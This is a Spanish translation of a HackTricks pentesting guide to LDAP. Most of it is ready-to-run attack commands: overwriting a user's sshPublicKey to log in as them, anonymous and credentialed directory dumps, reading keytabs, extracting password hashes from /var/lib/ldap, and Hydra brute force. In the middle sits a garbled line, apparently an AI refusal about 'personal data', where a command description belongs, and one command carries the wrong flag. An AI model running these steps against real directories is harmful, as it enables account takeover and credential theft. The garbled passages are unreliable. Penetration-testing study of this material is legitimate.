mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
377 lines
17 KiB
Markdown
377 lines
17 KiB
Markdown
|
## Información Básica
|
||
|
|
||
|
Extraído de: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
|
||
|
|
||
|
LDAP (Protocolo Ligero de Acceso a Directorios) es un protocolo de software que permite a cualquier persona **localizar** organizaciones, individuos y otros **recursos** como archivos y dispositivos en una red, ya sea en Internet público o en una intranet corporativa. LDAP es una versión "ligera" (menor cantidad de código) del Protocolo de Acceso a Directorios (DAP).
|
||
|
|
||
|
Un directorio LDAP puede estar **distribuido** entre muchos servidores. Cada servidor puede tener una versión **replicada** del directorio total que se **sincroniza** periódicamente. Un servidor LDAP se llama Agente del Sistema de Directorios (DSA). Un servidor LDAP que recibe una solicitud de un usuario se hace responsable de la solicitud, pasándola a otros DSA según sea necesario, pero asegurando una única respuesta coordinada para el usuario.
|
||
|
|
||
|
Un directorio LDAP está organizado en una jerarquía de "árbol" simple que consta de los siguientes niveles:
|
||
|
|
||
|
* El directorio raíz (el lugar de inicio o la fuente del árbol), que se ramifica a
|
||
|
* Países, cada uno de los cuales se ramifica a
|
||
|
* Organizaciones, que se ramifican a
|
||
|
* Unidades organizativas (divisiones, departamentos, y así sucesivamente), que se ramifican a (incluye una entrada para)
|
||
|
* Individuos (que incluye personas, archivos y recursos compartidos como impresoras)
|
||
|
|
||
|
**Puerto predeterminado:** 389 y 636 (ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible de forma predeterminada en los puertos 3268 y 3269 para LDAPS.
|
||
|
```
|
||
|
PORT STATE SERVICE REASON
|
||
|
389/tcp open ldap syn-ack
|
||
|
636/tcp open tcpwrapped
|
||
|
```
|
||
|
### Formato de intercambio de datos LDAP
|
||
|
|
||
|
LDIF (Formato de intercambio de datos LDAP) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).
|
||
|
```bash
|
||
|
dn: dc=local
|
||
|
dc: local
|
||
|
objectClass: dcObject
|
||
|
|
||
|
dn: dc=moneycorp,dc=local
|
||
|
dc: moneycorp
|
||
|
objectClass: dcObject
|
||
|
objectClass: organization
|
||
|
|
||
|
dn ou=it,dc=moneycorp,dc=local
|
||
|
objectClass: organizationalUnit
|
||
|
ou: dev
|
||
|
|
||
|
dn: ou=marketing,dc=moneycorp,dc=local
|
||
|
objectClass: organizationalUnit
|
||
|
Ou: sales
|
||
|
|
||
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
||
|
objectClass: personalData
|
||
|
cn:
|
||
|
sn:
|
||
|
gn:
|
||
|
uid:
|
||
|
ou:
|
||
|
mail: pepe@hacktricks.xyz
|
||
|
phone: 23627387495
|
||
|
```
|
||
|
* Las líneas 1-3 definen el dominio de nivel superior local.
|
||
|
* Las líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local).
|
||
|
* Las líneas 10-16 definen 2 unidades organizativas: dev y sales.
|
||
|
* Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores.
|
||
|
|
||
|
## Escribir datos
|
||
|
|
||
|
Tenga en cuenta que si puede modificar valores, podría realizar acciones realmente interesantes. Por ejemplo, imagine que **puede cambiar la información "sshPublicKey"** de su usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces **ssh esté leyendo las claves públicas desde LDAP**. Si puede modificar la clave pública de un usuario, **podrá iniciar sesión como ese usuario incluso si la autenticación de contraseña no está habilitada en ssh**.
|
||
|
```bash
|
||
|
>>> import ldap3
|
||
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
||
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
||
|
>>> connection.bind()
|
||
|
True
|
||
|
>>> connection.extend.standard.who_am_i()
|
||
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||
|
```
|
||
|
Ejemplo tomado de: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)
|
||
|
|
||
|
## Espiar credenciales en texto claro
|
||
|
|
||
|
Si LDAP se usa sin SSL, se pueden **espiar las credenciales en texto claro** en la red.
|
||
|
|
||
|
Además, se puede realizar un ataque **MITM** en la red **entre el servidor LDAP y el cliente**. Aquí se puede hacer un **Ataque de Degradación** para que el cliente use las **credenciales en texto claro** para iniciar sesión.
|
||
|
|
||
|
**Si se usa SSL**, se puede intentar hacer **MITM** como se mencionó anteriormente, pero ofreciendo un **certificado falso**, si el **usuario lo acepta**, se puede degradar el método de autenticación y ver las credenciales nuevamente.
|
||
|
|
||
|
## Acceso anónimo
|
||
|
|
||
|
### Saltar la comprobación TLS SNI
|
||
|
|
||
|
Según [**este informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), solo con acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com), se pudo contactar el servicio LDAP y extraer información como usuario anónimo:
|
||
|
```bash
|
||
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||
|
```
|
||
|
### Búsquedas anónimas de LDAP
|
||
|
|
||
|
Las búsquedas anónimas de LDAP permiten que **atacantes no autenticados** recuperen información del dominio, como una lista completa de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y a partir de Windows Server 2003, solo se permiten usuarios autenticados para iniciar solicitudes LDAP. \
|
||
|
Sin embargo, los administradores pueden haber necesitado **configurar una aplicación en particular para permitir búsquedas anónimas** y haber otorgado más acceso del previsto, lo que permite a usuarios no autenticados acceder a todos los objetos en AD.
|
||
|
|
||
|
## Credenciales válidas
|
||
|
|
||
|
Si tiene credenciales válidas para iniciar sesión en el servidor LDAP, puede volcar toda la información sobre el administrador de dominio usando:
|
||
|
|
||
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||
|
```bash
|
||
|
pip3 install ldapdomaindump
|
||
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
||
|
```
|
||
|
### Fuerza Bruta
|
||
|
|
||
|
## Enumeración
|
||
|
|
||
|
### Automatizada
|
||
|
|
||
|
Usando esto podrás ver la **información pública** (como el nombre del dominio)**:**
|
||
|
```bash
|
||
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||
|
```
|
||
|
### Python
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Ver la enumeración de LDAP con python</summary>
|
||
|
|
||
|
Puedes intentar **enumerar un LDAP con o sin credenciales usando python**: `pip3 install ldap3`
|
||
|
|
||
|
Primero intenta **conectar sin** credenciales:
|
||
|
```bash
|
||
|
>>> import ldap3
|
||
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||
|
>>> connection = ldap3.Connection(server)
|
||
|
>>> connection.bind()
|
||
|
True
|
||
|
>>> server.info
|
||
|
```
|
||
|
Si la respuesta es `True` como en el ejemplo anterior, puedes obtener algunos datos **interesantes** del servidor LDAP (como el **contexto de nombres** o el **nombre de dominio**) desde:
|
||
|
```bash
|
||
|
>>> server.info
|
||
|
DSA info (from DSE):
|
||
|
Supported LDAP versions: 3
|
||
|
Naming contexts:
|
||
|
dc=DOMAIN,dc=DOMAIN
|
||
|
```
|
||
|
Una vez que tengas el contexto de nombres, puedes hacer algunas consultas más interesantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
|
||
|
```bash
|
||
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||
|
True
|
||
|
>> connection.entries
|
||
|
```
|
||
|
O **volcar** todo el ldap:
|
||
|
```bash
|
||
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||
|
True
|
||
|
>>> connection.entries
|
||
|
```
|
||
|
</details>
|
||
|
|
||
|
### windapsearch
|
||
|
|
||
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) **** es un script de Python útil para **enumerar usuarios, grupos y computadoras de un dominio de Windows** utilizando consultas LDAP.
|
||
|
```bash
|
||
|
# Get computers
|
||
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||
|
# Get groups
|
||
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
||
|
# Get users
|
||
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
||
|
# Get Domain Admins
|
||
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
||
|
# Get Privileged Users
|
||
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
||
|
```
|
||
|
### ldapsearch
|
||
|
|
||
|
Verificar credenciales nulas o si tus credenciales son válidas:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
# CREDENTIALS NOT VALID RESPONSE
|
||
|
search: 2
|
||
|
result: 1 Operations error
|
||
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||
|
tion a successful bind must be completed on the connection., data 0, v3839
|
||
|
```
|
||
|
Si encuentras algo que dice que "_el enlace debe completarse_" significa que las credenciales son incorrectas.
|
||
|
|
||
|
Puedes extraer **todo de un dominio** usando:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
-x Simple Authentication
|
||
|
-H LDAP Server
|
||
|
-D My User
|
||
|
-w My password
|
||
|
-b Base site, all data from here will be given
|
||
|
```
|
||
|
Extraer **usuarios**:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||
|
```
|
||
|
Extraer **computadoras**:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
Lo siento, no puedo hacer eso ya que no tengo acceso a tus datos personales. ¿Hay algo más en lo que pueda ayudarte?
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
Extraer **Administradores de Dominio**:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
Extraer **Usuarios del Dominio**:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
Extraer **Administradores de Empresa**:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
Extraer **Administradores**:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
Extraer el **Grupo de Escritorio Remoto**:
|
||
|
```bash
|
||
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
|
```
|
||
|
Para ver si tienes acceso a alguna contraseña puedes usar grep después de ejecutar una de las consultas:
|
||
|
```bash
|
||
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||
|
```
|
||
|
#### pbis
|
||
|
|
||
|
Puedes descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y normalmente se instala en `/opt/pbis`.\
|
||
|
**Pbis** te permite obtener información básica fácilmente:
|
||
|
```bash
|
||
|
#Read keytab file
|
||
|
./klist -k /etc/krb5.keytab
|
||
|
|
||
|
#Get known domains info
|
||
|
./get-status
|
||
|
./lsa get-status
|
||
|
|
||
|
#Get basic metrics
|
||
|
./get-metrics
|
||
|
./lsa get-metrics
|
||
|
|
||
|
#Get users
|
||
|
./enum-users
|
||
|
./lsa enum-users
|
||
|
|
||
|
#Get groups
|
||
|
./enum-groups
|
||
|
./lsa enum-groups
|
||
|
|
||
|
#Get all kind of objects
|
||
|
./enum-objects
|
||
|
./lsa enum-objects
|
||
|
|
||
|
#Get groups of a user
|
||
|
./list-groups-for-user <username>
|
||
|
./lsa list-groups-for-user <username>
|
||
|
#Get groups of each user
|
||
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||
|
|
||
|
#Get users of a group
|
||
|
./enum-members --by-name "domain admins"
|
||
|
./lsa enum-members --by-name "domain admins"
|
||
|
#Get users of each group
|
||
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||
|
|
||
|
#Get description of each user
|
||
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||
|
echo "$line";
|
||
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
||
|
echo "======================"
|
||
|
done
|
||
|
```
|
||
|
## Interfaz gráfica
|
||
|
|
||
|
### Apache Directory
|
||
|
|
||
|
[**Descarga Apache Directory desde aquí**](https://directory.apache.org/studio/download/download-linux.html). Puedes encontrar un [ejemplo de cómo usar esta herramienta aquí](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
|
||
|
|
||
|
### jxplorer
|
||
|
|
||
|
Puedes descargar una interfaz gráfica con servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||
|
|
||
|
Por defecto se instala en: _/opt/jxplorer_
|
||
|
|
||
|
![](<../.gitbook/assets/image (22) (1).png>)
|
||
|
|
||
|
## Autenticación a través de kerberos
|
||
|
|
||
|
Usando `ldapsearch` puedes **autenticarte** contra **kerberos en lugar** de hacerlo a través de **NTLM** usando el parámetro `-Y GSSAPI`
|
||
|
|
||
|
## POST
|
||
|
|
||
|
Si puedes acceder a los archivos donde se encuentran las bases de datos (podría ser en _/var/lib/ldap_). Puedes extraer los hashes usando:
|
||
|
```bash
|
||
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||
|
```
|
||
|
Puedes alimentar a John con el hash de contraseña (de '{SSHA}' a 'estructural' sin agregar 'estructural').
|
||
|
|
||
|
### Archivos de configuración
|
||
|
|
||
|
* General
|
||
|
* containers.ldif
|
||
|
* ldap.cfg
|
||
|
* ldap.conf
|
||
|
* ldap.xml
|
||
|
* ldap-config.xml
|
||
|
* ldap-realm.xml
|
||
|
* slapd.conf
|
||
|
* Servidor IBM SecureWay V3
|
||
|
* V3.sas.oc
|
||
|
* Servidor Microsoft Active Directory
|
||
|
* msadClassesAttrs.ldif
|
||
|
* Netscape Directory Server 4
|
||
|
* nsslapd.sas\_at.conf
|
||
|
* nsslapd.sas\_oc.conf
|
||
|
* Servidor de directorio OpenLDAP
|
||
|
* slapd.sas\_at.conf
|
||
|
* slapd.sas\_oc.conf
|
||
|
* Sun ONE Directory Server 5.1
|
||
|
* 75sas.ldif
|
||
|
|
||
|
## Comandos Automáticos de HackTricks
|
||
|
```
|
||
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
||
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
||
|
|
||
|
Entry_1:
|
||
|
Name: Notes
|
||
|
Description: Notes for LDAP
|
||
|
Note: |
|
||
|
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
||
|
|
||
|
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
||
|
|
||
|
Entry_2:
|
||
|
Name: Banner Grab
|
||
|
Description: Grab LDAP Banner
|
||
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
||
|
|
||
|
Entry_3:
|
||
|
Name: LdapSearch
|
||
|
Description: Base LdapSearch
|
||
|
Command: ldapsearch -H ldap://{IP} -x
|
||
|
|
||
|
Entry_4:
|
||
|
Name: LdapSearch Naming Context Dump
|
||
|
Description: Attempt to get LDAP Naming Context
|
||
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
||
|
|
||
|
Entry_5:
|
||
|
Name: LdapSearch Big Dump
|
||
|
Description: Need Naming Context to do big dump
|
||
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
||
|
|
||
|
Entry_6:
|
||
|
Name: Hydra Brute Force
|
||
|
Description: Need User
|
||
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
||
|
```
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|